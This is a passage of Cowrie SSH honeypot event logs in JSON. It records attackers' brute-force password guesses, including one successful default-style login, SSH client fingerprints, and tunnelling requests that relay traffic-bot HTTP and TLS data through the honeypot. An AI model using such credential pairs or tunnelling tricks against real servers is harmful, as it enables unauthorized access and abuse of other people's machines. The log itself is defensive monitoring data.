,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:29.847540Z","src_ip":"91.92.40.36","session":"5aeb36ed0008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:31.751841Z","src_ip":"27.71.230.31","session":"50f07fcc2253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass","message":"login attempt [ubuntu/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:33.703472Z","src_ip":"91.92.40.36","session":"5aeb36ed0008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51334,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b507750240","protocol":"ssh","message":"New connection: 123.27.168.40:51334 (10.17.0.5:22) [session: 31b507750240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:34.095658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:34.099519Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:34.342641Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:35.348671Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf123","message":"login attempt [ubuntu/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:35.674997Z","src_ip":"91.92.40.36","session":"b7ec0e48bf20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:35.698195Z","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:35.751448Z","src_ip":"91.92.40.36","session":"5aeb36ed0008","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:35.807026Z","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33984,"dst_ip":"159.203.135.109","dst_port":22,"session":"18421110622f","protocol":"ssh","message":"New connection: 91.92.40.36:33984 (159.203.135.109:22) [session: 18421110622f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:35.899242Z"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.213151Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; BKL-L09S Build/HUAWEIBKL-L09S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SXdDcnsocilsZFl2azE3ag%3D%3DFcoUOaSwUJFJWUzyktUmAfQ2vGenfhr1F0nt%2BAsua1oH4qyjmeSvMPLv2WkFUNw1JtG8VaJwoJxGJcOt9XKkNhJ2Ss2wVr06ioh62HsmStYEr3l2lvjff%2BhmBBD1gGGImd409F%2BMjMyjmm1U%2Fr03TRZbq6s5QSBbRPfuT%2BWqRydIW%2BXMSpTLaMqEkUepEIHy6nrfRJqjYL10FMkOkqCIGc%2FZNg6fkr%2FsyId4d4g2Y27MSKsBJ7GRh7Kd7guWf63LcMSk1J5kiC64O0b83ABb5EizlReRrc%2FT0IW6NNU7qULFktinOXezkf3lcbp9tzFf%2BeNVob%2BTAZDsKvH%2BGGrhBna2GCdlsTitzwdE1d7ZhTG%2FcDUqmmivt0l4PHyKOX8zfVISbff981mBpeqt5E%2FnNR8ql4RBV9W0aDLGi7taS2IwoBJwRf0D44dY5sd1l3jJe1hMgqtL2MhnwbJWhs%2BbViYYY%2FHQVlALvcjw1pVodvrr72ltQhctzgBx0Xbe1ZTe%2BHTA873XkGpcBGmvBW6sLm8IPtNXLiWJj%2FALzq0nxr25xqWcjjB2qpmZ2cMiCWT8uz%2B2hZK1HhiuShHtY%2BNfE1Ffqf8xuE9VcDSl1c4ErP9C3kvDRLRjhQU0K8MH15a2uR%2Fir7mJKPJNGPLio%2F%2FOur6Ubs4BREkBVYLnv4HEixEXUf1bouwwVo19V8DpNXlHXLqtLFv8BV6Qq1aXUuUL2KFxADDFp%2FG0bkEM5U8q%2BXZPIx4%2FUZnfiju8jdDnTNfFvK06zZY0Q3lqDhO5rsh5OMn7uf%2F4YiuaCpha3AjVqip7816SlBwRcGG3X8a7EupTvoabd1Zbzec%2F%2BssYLAuI6dm9e0W%2FYCwgxOdFweTSkQeuW3EHgSHA%2B5qS9092LoBq%2Foa7cisHdFp6EX5Qo4fqqisRaXtkxYfnm%2FYfHUL8DzzJCT%2FNCMFSVwAKRTRg4YMV1tg3FriE5TRhi5JRABY%2B7BVzDV1ZU7XLCHw5tIOcMsA7xT4hjB0nOXlxFy%2Bk%2BT1zhOwBMxmX%2BWJyai2xG6mryY6N2bYu0Dz%2Fd%2BfHXIrO75P8r5yvLddVb20wzpVFFoIm'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; BKL-L09S Build/HUAWEIBKL-L09S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SXdDcnsocilsZFl2azE3ag%3D%3DFcoUOaSwUJFJWUzyktUmAfQ2vGenfhr1F0nt%2BAsua1oH4qyjmeSvMPLv2WkFUNw1JtG8VaJwoJxGJcOt9XKkNhJ2Ss2wVr06ioh62HsmStYEr3l2lvjff%2BhmBBD1gGGImd409F%2BMjMyjmm1U%2Fr03TRZbq6s5QSBbRPfuT%2BWqRydIW%2BXMSpTLaMqEkUepEIHy6nrfRJqjYL10FMkOkqCIGc%2FZNg6fkr%2FsyId4d4g2Y27MSKsBJ7GRh7Kd7guWf63LcMSk1J5kiC64O0b83ABb5EizlReRrc%2FT0IW6NNU7qULFktinOXezkf3lcbp9tzFf%2BeNVob%2BTAZDsKvH%2BGGrhBna2GCdlsTitzwdE1d7ZhTG%2FcDUqmmivt0l4PHyKOX8zfVISbff981mBpeqt5E%2FnNR8ql4RBV9W0aDLGi7taS2IwoBJwRf0D44dY5sd1l3jJe1hMgqtL2MhnwbJWhs%2BbViYYY%2FHQVlALvcjw1pVodvrr72ltQhctzgBx0Xbe1ZTe%2BHTA873XkGpcBGmvBW6sLm8IPtNXLiWJj%2FALzq0nxr25xqWcjjB2qpmZ2cMiCWT8uz%2B2hZK1HhiuShHtY%2BNfE1Ffqf8xuE9VcDSl1c4ErP9C3kvDRLRjhQU0K8MH15a2uR%2Fir7mJKPJNGPLio%2F%2FOur6Ubs4BREkBVYLnv4HEixEXUf1bouwwVo19V8DpNXlHXLqtLFv8BV6Qq1aXUuUL2KFxADDFp%2FG0bkEM5U8q%2BXZPIx4%2FUZnfiju8jdDnTNfFvK06zZY0Q3lqDhO5rsh5OMn7uf%2F4YiuaCpha3AjVqip7816SlBwRcGG3X8a7EupTvoabd1Zbzec%2F%2BssYLAuI6dm9e0W%2FYCwgxOdFweTSkQeuW3EHgSHA%2B5qS9092LoBq%2Foa7cisHdFp6EX5Qo4fqqisRaXtkxYfnm%2FYfHUL8DzzJCT%2FNCMFSVwAKRTRg4YMV1tg3FriE5TRhi5JRABY%2B7BVzDV1ZU7XLCHw5tIOcMsA7xT4hjB0nOXlxFy%2Bk%2BT1zhOwBMxmX%2BWJyai2xG6mryY6N2bYu0Dz%2Fd%2BfHXIrO75P8r5yvLddVb20wzpVFFoIm'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.216508Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.219578Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02|\\x890\\x97\\x83\\xd5\\xbe\\xa1\\x8b\\x0c\\x92\\x83\\x0cp\\xaf\\x94\\xee\\xecw\\xbbW\\x08\\xf1p\\x8f\\xb9\\xb3\\x8c\\x930\\xae \\xb8|5]\\x1c\\xae\\xf8\\x14\\x1a\\xad\\xe6\\xae\\x83B\\x80\\xd8\\n \\xea\\x11\\x15\\xac\\xa8#\\x02\\rz\\\\\\xfa\\x10\\xe0\\x97\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 {\\xdf\\xd4v;\\xbebj~\\x98\\x0f>D6\\xcb\\x0f'\\xef/P\\x16q\\x191\\xb3\\xc4Q{\\xa3\\x00\\x13'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02|\\x890\\x97\\x83\\xd5\\xbe\\xa1\\x8b\\x0c\\x92\\x83\\x0cp\\xaf\\x94\\xee\\xecw\\xbbW\\x08\\xf1p\\x8f\\xb9\\xb3\\x8c\\x930\\xae \\xb8|5]\\x1c\\xae\\xf8\\x14\\x1a\\xad\\xe6\\xae\\x83B\\x80\\xd8\\n \\xea\\x11\\x15\\xac\\xa8#\\x02\\rz\\\\\\xfa\\x10\\xe0\\x97\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 {\\xdf\\xd4v;\\xbebj~\\x98\\x0f>D6\\xcb\\x0f'\\xef/P\\x16q\\x191\\xb3\\xc4Q{\\xa3\\x00\\x13'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.222080Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.455585Z","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.686229Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xf9\\x8c\\xd9\\xe9\\xadPM\\xed\\xbe\\x19\\xa7\\x00\\xbfCec=\\xca\\x91YGrN\\xe8)\\xad\\xfe\\x1f$\\xb7a _\\xad\\xb3\\xc9*\\\\\\xa7\\xf7RVt\\xbc\\x08\\x1c\\xd5%\\x86o\\xc8W^\\xcdY\\xf1\\x91vC\\x1a\\xc1\\xe6\\x01H\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x08J\\xa4\\xa6\\xb4\\x08\\x92\\x88\\x9fF\\xe5\\x0b\\xab\\x8d\\xa0:]\\x87\\xff\\xef\\x11\\xad\\xde\\x15\\x90\\x18\\\\\\xe6\\xd5\\x94e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xf9\\x8c\\xd9\\xe9\\xadPM\\xed\\xbe\\x19\\xa7\\x00\\xbfCec=\\xca\\x91YGrN\\xe8)\\xad\\xfe\\x1f$\\xb7a _\\xad\\xb3\\xc9*\\\\\\xa7\\xf7RVt\\xbc\\x08\\x1c\\xd5%\\x86o\\xc8W^\\xcdY\\xf1\\x91vC\\x1a\\xc1\\xe6\\x01H\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x08J\\xa4\\xa6\\xb4\\x08\\x92\\x88\\x9fF\\xe5\\x0b\\xab\\x8d\\xa0:]\\x87\\xff\\xef\\x11\\xad\\xde\\x15\\x90\\x18\\\\\\xe6\\xd5\\x94e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.688716Z","src_ip":"123.27